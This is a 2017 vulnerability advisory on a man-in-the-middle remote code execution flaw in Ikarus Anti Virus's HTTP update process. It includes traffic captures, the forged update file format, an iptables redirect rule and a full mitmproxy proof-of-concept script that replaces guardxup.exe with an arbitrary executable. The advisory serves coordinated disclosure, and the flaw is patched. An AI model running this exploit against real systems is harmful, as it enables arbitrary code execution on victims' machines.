SSD Advisory – Ikraus Anti Virus Remote Code Execution

blogs.securiteam.com/index.php/archives/3485

SSD / Maor Schwartz October 16, 2017

Vulnerability summary
The following advisory describes an remote code execution found in Ikraus Anti Virus version 2.16.7.

KARUS anti.virus “secures your personal data and PC from all kinds of malware. Additionally, the Anti-SPAM module protects you from SPAM and malware from e-mails. Prevent intrusion and protect yourself against cyber-criminals by choosing IKARUS anti.virus, powered by the award-winning IKARUS scan.engine. It is among the best in the world, detecting new and existing threats every day. ”

Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor Response
The vendor has released patches to address these vulnerabilities.

For more information: https://www.ikarussecurity.com/about-ikarus/security-blog/vulnerability-in-windows-antivirus-products-ik-sa-2017-0001/

Vulnerability details
An active network attacker (MiTM) can achieve remote code execution on a machine that runs Ikraus Anti Virus.

Ikarus AV for windows uses cleartext HTTP for updates along with a CRC32 checksum and an update value for verification of the downloaded files.

Also ikarus checks for a update version number which can be incremented to goad the process to update.

The update process executable in ikarus called *guardxup.exe*

guardxup.exe, send over port 80, the following request for update:

```
GET /cgi-bin/virusutilities.pl?A=7534ED66&B=6.1.1.0.11.1.256.7601&C=1005047.2013019.2001016.98727&F=4.5.2%3bO=0%3bSP=0&E=WD-194390-VU HTTP/1.1
Accept: */*
User-Agent: virusutilities(6.1,0,1005047)
Host: updates.ikarus.at
Connection: close
```

The server will respond with:

```
HTTP/1.1 200 OK
Date: Sun, 23 Oct 2016 04:51:05 GMT
Server: Apache/2.4.10 (Debian) mod_perl/2.0.9dev Perl/v5.20.2
Content-Disposition: inline; filename=virusutilities
Content-Length: 306
Connection: close
Content-Type: text/plain; charset=ISO-8859-1

<url>
full http://mirror04.ikarus.at/updates/
diff http://mirror06.ikarus.at/updates/
</url>
<up>
antispam_w64 001000076
antispam 001000076
update 001005047
virusutilities 002013019
t3modul_w64 002001016
t3modul 002001016
sdb 000007074
t3sigs 000098727
</up>
<dependence>
t3modul
</dependence>
```

Through the proxy we will modify the response and add 1 to the ‘update’ value and forward the response to the client.

Then the client will request the update via this url: http://mirror04.ikarus.at/updates/guardxup001005048.full

The ikarus server will respond with a 404:

```
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sun, 23 Oct 2016 04:53:05 GMT
Content-Type: text/html
Content-Length: 168
Connection: close

<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.6.2</center>
</body>
</html>
```

But we will modify the response with a IKUP format:

```
Bytes: 0x0 - 0x3 == IKUP # header
Bytes: 0x4 - 0x7 == 0x0s
Bytes: 0x8 == 0x3C # pointer to start of PE EXE MZ header
Bytes: 0x20 - 0x23 == update value in little endian (script fixes it up)
Bytes: 0x24 - 0x27 == crc32 checksum (script populates from provided binary)
Bytes: 0x28 -> pointer to MZ header == 0x0s
Bytes: 'pointer to MZ header' -> ? == appended exe
```

Then we will forward to the update to the client, where it replaces guardxup.exe with our executable.

Proof of concept
Please install mitmproxy 0.17 – *pip install mitmproxy==0.17*

To use this script, you'll need to MITM port 80 traffic from the client for use with a transparent proxy.

Set your firewall rules to intercept 80 traffic on port 8080:

```
1  sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
```

and execute the script as follows:

```
./poc.py file_to_deploy.exe
```

```
1   #!/usr/bin/env python2
2   import os
3   try:
4       from mitmproxy import controller, proxy, platform
5       from mitmproxy.proxy.server import ProxyServer
6   except:
7       from libmproxy import controller, proxy, platform
8       from libmproxy.proxy.server import ProxyServer
9
10  import re
11  import struct
12  import sys
13  import zlib
14  import bz2
15
16  class IkarusPOC(controller.Master):
17      def __init__(self, server, backdoored_file):
18          controller.Master.__init__(self, server)
19          self.ikarus= {}
20          self.crc_file = 0
21          self.backdoored_file = backdoored_file
22          self.to_replace = 0
23          self.already_patched = 0
24          self.update_number = 0
25
26      def win_header(self):
27          self.update_header = "\x49\x4B\x55\x50\x00\x00\x00\x00\x3C\x00\x00\x00\x00\x00\x00\x00"
28          self.update_header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
29          self.update_header += struct.pack("<I", self.to_replace)        # update number
30          self.update_header += struct.pack("<I", self.crc_file)          # checksum
31          self.update_header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
32          self.update_header += "\x00\x00\x00\x00"
33
34      def run(self):
35          try:
36              return controller.Master.run(self)
37          except KeyboardInterrupt:
38              self.shutdown()
39
40      def crc_stream(self, a_string):
41          prev = 0
42          return zlib.crc32(a_string, prev) & 0xFFFFFFFF
43
44      def crc(self, some_file):
45          prev = 0
46          for eachLine in open(some_file,"rb"):
47              prev = zlib.crc32(eachLine, prev)
48          self.crc_file = prev & 0xFFFFFFFF
49          print "[*] crc_file", self.crc_file
50
51      def handle_request(self, flow):
52          hid = (flow.request.host, flow.request.port)
53          flow.reply()
54
55      def handle_response(self, flow):
56          print "[*] flow.request.host:", flow.request.host
```

```
57          if "cgi-bin/imsa-lite.pl" in flow.request.path and "Dalvik" in flow.request.headers['User-Agent'] and self.already_patched <=2:
58              content = flow.reply.obj.response.content
59              p = re.compile("antispam[\s|\t].*\n")
60              result = p.search(content)
61              the_result = result.group(0)
62
63              original_update_number= [int(s) for s in the_result.split() if s.isdigit()][0]
64              if self.update_number == 0:
65                  self.update_number = original_update_number
66              self.to_replace = self.update_number + 1
67              content = content.replace(str(original_update_number), str(self.to_replace))
68              flow.reply.obj.response.content = content
69
70          if "cgi-bin/virusutilities.pl" in flow.request.path and 'virusutilities' in flow.request.headers['User-Agent'] and self.already_patched <= 2:
71      print "[*] Found update response, modifying..."
72              content = flow.reply.obj.response.content
73              p = re.compile("update[\s|\t].*\n")
74              result = p.search(content)
75              the_result = result.group(0)
76              original_update_number = [int(s) for s in the_result.split() if s.isdigit()][0]
77              if self.update_number == 0:
78                  self.update_number = original_update_number
79              self.to_replace = self.update_number + 1
80              print '[*] Update_number', self.update_number
81              print '[*] Replace number', self.to_replace
82              content = content.replace(str(original_update_number), str(self.to_replace))
83              print "[*] Updated content", content
84              flow.reply.obj.response.content = content
85
86          if 'guard' in flow.request.path and 'full' in flow.request.path and self.already_patched <= 2:
87              print '[*] Found guardxup.exe request! Modifying request and pushing provided file!'
88              self.crc(self.backdoored_file)
89              self.win_header()
90              with open(self.backdoored_file, 'rb') as f:
91                  file_out  = f.read()
92              content = self.update_header + file_out
93              with open('/tmp/update_test.full', 'wb') as f:
94                  f.write(content)
95              flow.reply.obj.response.content = content
96              flow.reply.obj.response.status_code = 200
97              self.already_patched += 1
98          flow.reply()
99
100
101 config = proxy.ProxyConfig(port=8080, mode='transparent')
102 server = ProxyServer(config)
103 m = IkarusPOC(server, sys.argv[1])
104 m.run()
```